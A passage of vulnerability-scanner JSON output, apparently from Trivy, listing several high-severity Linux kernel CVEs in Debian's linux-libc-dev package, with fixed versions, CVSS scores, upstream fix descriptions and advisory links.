"2026-07-25T10:17:07.66Z", "LastModifiedDate": "2026-10-24T13:10:00.147Z" }, { "VulnerabilityID": "CVE-2026-64274", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.96-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64274", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:2e5f0bfdebd8767a4d781faad1a28175b052945cc7098ea3973888c60c2ed6bc", "Title": "kernel: Input: goodix - clamp the device-reported contact count", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nInput: goodix - clamp the device-reported contact count\n\ngoodix_ts_read_input_report() copies the number of touch points reported\nby the device into an on-stack buffer\n\n\tu8 point_data[2 + GOODIX_MAX_CONTACT_SIZE * GOODIX_MAX_CONTACTS];\n\nwhich is sized for at most GOODIX_MAX_CONTACTS (10) contacts. The only\nruntime check bounds the per-interrupt count against ts-\u003emax_touch_num,\nbut that value is taken verbatim from a 4-bit field of the device\nconfiguration block and is never clamped:\n\n\tts-\u003emax_touch_num = ts-\u003econfig[MAX_CONTACTS_LOC] \u0026 0x0f;\n\nThe nibble can be 0..15, so a malfunctioning, malicious or counterfeit\ncontroller (or an attacker tampering with the I2C bus) can advertise up\nto 15 contacts. goodix_ts_read_input_report() then accepts a touch_num\nof up to 15 and the second goodix_i2c_read() writes\nts-\u003econtact_size * (touch_num - 1) bytes past the one-contact header into\npoint_data - up to 30 bytes (45 with the 9-byte report format) beyond the\n92-byte buffer: a stack out-of-bounds write.\n\nClamp max_touch_num to GOODIX_MAX_CONTACTS, the number of contacts\npoint_data[] is sized for, when reading it from the configuration.", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "nvd": 3, "photon": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-64274", "https://git.kernel.org/linus/5ed62a96e06be4e94b8296b7932afee550a70e04%20%287.2-rc1%29", "https://git.kernel.org/stable/c/2a67668690129953e898923260a2dd1c7c196495", "https://git.kernel.org/stable/c/3b32303460155603d25444274856013d211d5e1f", "https://git.kernel.org/stable/c/46addbd13dbf4aacb71cfbca964a5e552d0f45ae", "https://git.kernel.org/stable/c/4bfea9c3a0981c1c7fc5d1a1b27197b2de247902", "https://git.kernel.org/stable/c/5ed62a96e06be4e94b8296b7932afee550a70e04", "https://git.kernel.org/stable/c/719d1a2c83a46be6bf81af905e4f6adb3d32dc28", "https://git.kernel.org/stable/c/98b2caef249183b572c04451365246f919707845", "https://git.kernel.org/stable/c/e825f352ef5271255cd08cc994b0dc25648a2f38", "https://lore.kernel.org/linux-cve-announce/2026072500-CVE-2026-64274-f2a8@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64274", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-64274" ], "PublishedDate": "2026-07-25T10:17:07.797Z", "LastModifiedDate": "2026-10-24T13:10:00.147Z" }, { "VulnerabilityID": "CVE-2026-64283", "VendorIDs": [ "DSA-6602-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.115-2", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64283", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:bf620c9ca87e8aebc9d919181c90b8e9914b5a98866ed189aaae614644ef1ace", "Title": "kernel: KVM: guest_memfd: Treat memslot binding offset+size as unsigned values", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nKVM: guest_memfd: Treat memslot binding offset+size as unsigned values\n\nWhen binding a memslot to a guest_memfd file, treat the offset and size as\nunsigned values to fix a bug where the sum of the two can result in a false\nnegative when checking for overflow against the size of the file. Passing\nunsigned values also avoids relying on somewhat obscure checks in other\nflows for safety, and tracks the offset and size as they are intended to be\ntracked, as unsigned values.\n\nOn 64-bit kernels, the number of pages a memslot contains and thus the size\n(and offset) of its guest_memfd binding are unsigned 64-bit values. Taking\nthe offset+size as an loff_t instead of a uoff_t inadvertently converts\nthe unsigned value to a signed value if the offset and/or size is massive.\n\nLocally storing the offset and size as signed values is benign in and of\nitself (though even that is *extremely* difficult to discern), but\noperating on their sum is not.\n\nFor the offset, KVM explicitly checks against a negative value, which might\nseem like a bug as KVM could incorrectly reject a legitimate binding, but\nthat's not actually the case as KVM_CREATE_GUEST_MEMFD takes a signed value\nfor its size, i.e. a would-be-negative offset is also greater than the\nmaximum possible size of any guest_memfd file.\n\nRegarding the size, while KVM lacks an explicit check for a negative value,\ni.e. seemingly has a flawed overflow check, KVM restricts the number of\npages in a single memslot to the largest positive signed 32-bit value:\n\n if (id \u003c KVM_USER_MEM_SLOTS \u0026\u0026\n (mem-\u003ememory_size \u003e\u003e PAGE_SHIFT) \u003e KVM_MEM_MAX_NR_PAGES)\n return -EINVAL;\n\nand so that maximum \"size\" will ever be is 0x7fffffff000.\n\nThe sum of the two is, however, problematic. While the size is restricted\nby KVM's memslot logic, the offset is not, i.e. the offset is completely\nunchecked until the \"offset + size \u003e i_size_read(inode)\" check. If the\noffset is the (nearly) largest possible _positive_ value, then adding size\nto the offset can result in a signed, negative 64-bit value. When compared\nagainst the size of the file (guaranteed to be positive), the negative sum\nis always smaller, and KVM incorrectly allows the absurd offset.\n\nOpportunistically add missing includes in kvm_mm.h (instead of relying on\nits parents).", "Severity": "HIGH", "CweIDs": [ "CWE-190" ], "VendorSeverity": { "amazon": 3, "nvd": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-64283", "https://git.kernel.org/linus/eba85fee7fc6cf28fec38a5bf3c378bef9a79ca6%20%287.2-rc1%29", "https://git.kernel.org/stable/c/3f9c0fdefa0431ad7a5528d76b9cdad912500bdf", "https://git.kernel.org/stable/c/e4683654881f3303ab286e45df6f91c0675d867c", "https://git.kernel.org/stable/c/eba85fee7fc6cf28fec38a5bf3c378bef9a79ca6", "https://git.kernel.org/stable/c/f3a98d5881b9bd4807f49156143565f6aabcef1e", "https://lore.kernel.org/linux-cve-announce/2026072502-CVE-2026-64283-eed4@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64283", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://www.cve.org/CVERecord?id=CVE-2026-64283" ], "PublishedDate": "2026-07-25T10:17:08.91Z", "LastModifiedDate": "2026-11-06T17:18:45.297Z" }, { "VulnerabilityID": "CVE-2026-64287", "VendorIDs": [ "DSA-6405-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.100-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64287", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:584a6ea6a32e0131a75636d9d64fd4f8e9aec38afa9b81aae3a8b1a19426c618", "Title": "kernel: KVM: arm64: Bound used_lrs when flushing the pKVM hyp vCPU", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nKVM: arm64: Bound used_lrs when flushing the pKVM hyp vCPU\n\nflush_hyp_vcpu() copies the host vGIC state into the hyp's private vCPU\non every run. The vGIC list register save and restore use used_lrs as\ntheir loop bound and expect it to stay within the number of implemented\nlist registers. While this is generally the case, flush_hyp_vcpu()\ncopies vgic_v3 verbatim and does not enforce this, so a value provided\nby the host is used at EL2 to index vgic_lr[] and access ICH_LR\u003cn\u003e_EL2\n(host -\u003e EL2).\n\nFix by clamping used_lrs to the number of implemented list registers\nafter the copy, as the trusted path already does in\nvgic_flush_lr_state(). The number of implemented list registers is\nconstant after init, so it is replicated once from\nkvm_vgic_global_state.nr_lr into hyp_gicv3_nr_lr rather than read on\nevery entry.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "bottlerocket": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64287", "https://access.redhat.com/errata/RHSA-2026:64808", "https://access.redhat.com/security/cve/CVE-2026-64287", "https://bugzilla.redhat.com/2370992", "https://bugzilla.redhat.com/2492097", "https://bugzilla.redhat.com/2492273", "https://bugzilla.redhat.com/2502527", "https://bugzilla.redhat.com/2507061", "https://bugzilla.redhat.com/2507096", "https://bugzilla.redhat.com/2507129", "https://bugzilla.redhat.com/2507287", "https://bugzilla.redhat.com/show_bug.cgi?id=2370992", "https://bugzilla.redhat.com/show_bug.cgi?id=2492097", "https://bugzilla.redhat.com/show_bug.cgi?id=2492273", "https://bugzilla.redhat.com/show_bug.cgi?id=2502527", "https://bugzilla.redhat.com/show_bug.cgi?id=2507061", "https://bugzilla.redhat.com/show_bug.cgi?id=2507096", "https://bugzilla.redhat.com/show_bug.cgi?id=2507129", "https://bugzilla.redhat.com/show_bug.cgi?id=2507287", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-38004", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52933", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53000", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64136", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64287", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64319", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64320", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64384", "https://errata.almalinux.org/9/ALSA-2026-64808.html", "https://errata.rockylinux.org/RLSA-2026:64808", "https://git.kernel.org/linus/8cc8bbbfab14c22c5551d0dd19b208a44b141c76%20%287.2-rc1%29", "https://git.kernel.org/stable/c/2c5e72b9fbf83fdfa724e9f1af0f418ccf8739b8", "https://git.kernel.org/stable/c/7fca3fcef81c713bc82a37bf741e0f28e6d04a6f", "https://git.kernel.org/stable/c/8cc8bbbfab14c22c5551d0dd19b208a44b141c76", "https://git.kernel.org/stable/c/9fa301d8298778dd799fa4dcf7a7f440715d146e", "https://git.kernel.org/stable/c/c646431865f4b1a5b14067233fa27b11e05e0d46", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/8.0.0/BRSA-kprladmoeu21.toml", "https://linux.oracle.com/cve/CVE-2026-64287.html", "https://linux.oracle.com/errata/ELSA-2026-64808-0.html", "https://lore.kernel.org/linux-cve-announce/2026072503-CVE-2026-64287-ea42@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64287", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://www.cve.org/CVERecord?id=CVE-2026-64287" ], "PublishedDate": "2026-07-25T10:17:09.353Z", "LastModifiedDate": "2026-10-19T21:17:29.827Z" }, { "VulnerabilityID": "CVE-2026-64303", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.96-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64303", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:2ddca0cc2bdf916f555d4222dafbc47d82a9be9e151619426daef4ec5631e8f4", "Title": "kernel: spi: fsl-lpspi: terminate the RX channel on TX prepare failure path", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nspi: fsl-lpspi: terminate the RX channel on TX prepare failure path\n\nWhen dmaengine_prep_slave_sg() fails for the TX channel, the error path\nterminates the TX DMA channel but leaves the RX channel running. Since\nthe RX channel was already submitted and issued prior to preparing\nthe TX descriptor, returning -EINVAL causes the SPI core to unmap the\nDMA buffers while the RX DMA engine continues writing to them, leading\nto potential memory corruption or use-after-free.\n\nTerminate the RX channel before returning on the TX prepare failure path.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "azure": 3, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 1 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93412", "https://access.redhat.com/security/cve/CVE-2026-64303", "https://bugzilla.redhat.com/show_bug.cgi?id=2492108", "https://bugzilla.redhat.com/show_bug.cgi?id=2492733", "https://bugzilla.redhat.com/show_bug.cgi?id=2492853", "https://bugzilla.redhat.com/show_bug.cgi?id=2507222", "https://bugzilla.redhat.com/show_bug.cgi?id=2513435", "https://bugzilla.redhat.com/show_bug.cgi?id=2516579", "https://bugzilla.redhat.com/show_bug.cgi?id=2516935", "https://bugzilla.redhat.com/show_bug.cgi?id=2516970", "https://bugzilla.redhat.com/show_bug.cgi?id=2519475", "https://bugzilla.redhat.com/show_bug.cgi?id=2524438", "https://bugzilla.redhat.com/show_bug.cgi?id=2535227", "https://bugzilla.redhat.com/show_bug.cgi?id=2540396", "https://bugzilla.redhat.com/show_bug.cgi?id=2540555", "https://bugzilla.redhat.com/show_bug.cgi?id=2546487", "https://bugzilla.redhat.com/show_bug.cgi?id=2553390", "https://bugzilla.redhat.com/show_bug.cgi?id=2554835", "https://bugzilla.redhat.com/show_bug.cgi?id=2555068", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52929", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53228", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53270", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64303", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68169", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72083", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74283", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74510", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74582", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80586", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89603", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-90011", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93787", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93827", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98364", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98432", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98466", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98725", "https://errata.rockylinux.org/RLSA-2026:93412", "https://git.kernel.org/linus/01980b5da56e573d62798d0ff6c86bcaa2b22cbe%20%287.2-rc1%29", "https://git.kernel.org/stable/c/01980b5da56e573d62798d0ff6c86bcaa2b22cbe", "https://git.kernel.org/stable/c/808033d80d5c9f8adf7e8de9317389270ce13430", "https://git.kernel.org/stable/c/9d000bdd250d649a11cd7f733175686877344582", "https://git.kernel.org/stable/c/ad370d1c7a9a832f77b2341513cd31188c9443af", "https://git.kernel.org/stable/c/af39a2698f69b584d14a00cffe0f51a2caa15337", "https://git.kernel.org/stable/c/cce2063404b2341e7b2bbf85eddfcd70a31a0033", "https://git.kernel.org/stable/c/d5c1060218a3749c8a18b36f8169d910fce20639", "https://git.kernel.org/stable/c/e65505d91fa036a238968e4c10744244d1b968c4", "https://linux.oracle.com/cve/CVE-2026-64303.html", "https://linux.oracle.com/errata/ELSA-2026-93412.html", "https://lore.kernel.org/linux-cve-announce/2026072507-CVE-2026-64303-7a2d@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64303", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-64303" ], "PublishedDate": "2026-07-25T10:17:11.277Z", "LastModifiedDate": "2026-10-19T21:17:30.687Z" }, { "VulnerabilityID": "CVE-2026-64304", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.96-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64304", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:0363749d33d3134d66ea496d5679b6b9e3e70b8832e0aaebcc7ddafd7b6a698d", "Title": "kernel: crypto: qat - validate RSA CRT component lengths", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ncrypto: qat - validate RSA CRT component lengths\n\nThe generic RSA key parser (rsa_helper.c) bounds each CRT component (p,\nq, dp, dq, qinv) by the modulus size n_sz, but qat_rsa_setkey_crt()\nallocates half-size DMA buffers (key_sz / 2) and right-aligns each\ncomponent with:\n\n memcpy(dst + half_key_sz - len, src, len)\n\nWhen a CRT component is larger than half_key_sz the subtraction\nunderflows and memcpy writes past the DMA buffer, causing memory\ncorruption.\n\nAdd a len \u003e half_key_sz check next to the existing !len check for each\nof the five CRT components so the driver falls back to the non-CRT path\ninstead of writing out of bounds.", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "alma": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:63129", "https://access.redhat.com/security/cve/CVE-2026-64304", "https://bugzilla.redhat.com/2406747", "https://bugzilla.redhat.com/2432366", "https://bugzilla.redhat.com/2482006", "https://bugzilla.redhat.com/2482558", "https://bugzilla.redhat.com/2492447", "https://bugzilla.redhat.com/2502219", "https://bugzilla.redhat.com/2502227", "https://bugzilla.redhat.com/2502235", "https://bugzilla.redhat.com/2502239", "https://bugzilla.redhat.com/2502240", "https://bugzilla.redhat.com/2502248", "https://bugzilla.redhat.com/2502260", "https://bugzilla.redhat.com/2502329", "https://bugzilla.redhat.com/2502363", "https://bugzilla.redhat.com/2502421", "https://bugzilla.redhat.com/2502447", "https://bugzilla.redhat.com/2507046", "https://bugzilla.redhat.com/2507089", "https://bugzilla.redhat.com/2507118", "https://bugzilla.redhat.com/2507119", "https://bugzilla.redhat.com/2507208", "https://bugzilla.redhat.com/2507277", "https://bugzilla.redhat.com/2508363", "https://bugzilla.redhat.com/2513167", "https://bugzilla.redhat.com/2513392", "https://bugzilla.redhat.com/2516248", "https://bugzilla.redhat.com/2516448", "https://bugzilla.redhat.com/show_bug.cgi?id=2406747", "https://bugzilla.redhat.com/show_bug.cgi?id=2432366", "https://bugzilla.redhat.com/show_bug.cgi?id=2482006", "https://bugzilla.redhat.com/show_bug.cgi?id=2482558", "https://bugzilla.redhat.com/show_bug.cgi?id=2492447", "https://bugzilla.redhat.com/show_bug.cgi?id=2502219", "https://bugzilla.redhat.com/show_bug.cgi?id=2502227", "https://bugzilla.redhat.com/show_bug.cgi?id=2502235", "https://bugzilla.redhat.com/show_bug.cgi?id=2502239", "https://bugzilla.redhat.com/show_bug.cgi?id=2502240", "https://bugzilla.redhat.com/show_bug.cgi?id=2502248", "https://bugzilla.redhat.com/show_bug.cgi?id=2502260", "https://bugzilla.redhat.com/show_bug.cgi?id=2502329", "https://bugzilla.redhat.com/show_bug.cgi?id=2502363", "https://bugzilla.redhat.com/show_bug.cgi?id=2502421", "https://bugzilla.redhat.com/show_bug.cgi?id=2502447", "https://bugzilla.redhat.com/show_bug.cgi?id=2507046", "https://bugzilla.redhat.com/show_bug.cgi?id=2507089", "https://bugzilla.redhat.com/show_bug.cgi?id=2507118", "https://bugzilla.redhat.com/show_bug.cgi?id=2507119", "https://bugzilla.redhat.com/show_bug.cgi?id=2507208", "https://bugzilla.redhat.com/show_bug.cgi?id=2507277", "https://bugzilla.redhat.com/show_bug.cgi?id=2508363", "https://bugzilla.redhat.com/show_bug.cgi?id=2513167", "https://bugzilla.redhat.com/show_bug.cgi?id=2513392", "https://bugzilla.redhat.com/show_bug.cgi?id=2516248", "https://bugzilla.redhat.com/show_bug.cgi?id=2516448", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-40064", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-71147", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45970", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46185", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53073", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53391", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53392", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53397", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53399", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63800", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63808", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63824", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63886", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63887", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64002", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64018", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64268", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64298", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64304", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64387", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64438", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64490", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68145", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68166", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68480", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72069", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72130", "https://errata.almalinux.org/9/ALSA-2026-63129.html", "https://errata.rockylinux.org/RLSA-2026:63129", "https://git.kernel.org/linus/b3ac78756588059729b9195fcc9f4b37d54057a5%20%287.2-rc1%29", "https://git.kernel.org/stable/c/1002719d13072a5e4be1e993aa61dffb4a604e82", "https://git.kernel.org/stable/c/3d61a214fdcda41f1ebfabbb483404032a7b4d91", "https://git.kernel.org/stable/c/500319830d76911c120dc0b9605f8c16d7702844", "https://git.kernel.org/stable/c/6d99c5fadd2df488103f64d6475b63ba6852202b", "https://git.kernel.org/stable/c/6fb62b767f3e27661e8f8d2f7b85f4e098fcdb1a", "https://git.kernel.org/stable/c/b3ac78756588059729b9195fcc9f4b37d54057a5", "https://git.kernel.org/stable/c/c34369473bfe92a0b46ec78d6358e30341c7f481", "https://git.kernel.org/stable/c/ce42224487c504aee4b7ff3a7342e7b4d7e28cc9", "https://linux.oracle.com/cve/CVE-2026-64304.html", "https://linux.oracle.com/errata/ELSA-2026-63129-0.html", "https://lore.kernel.org/linux-cve-announce/2026072507-CVE-2026-64304-7d9a@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64304", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8800-1", 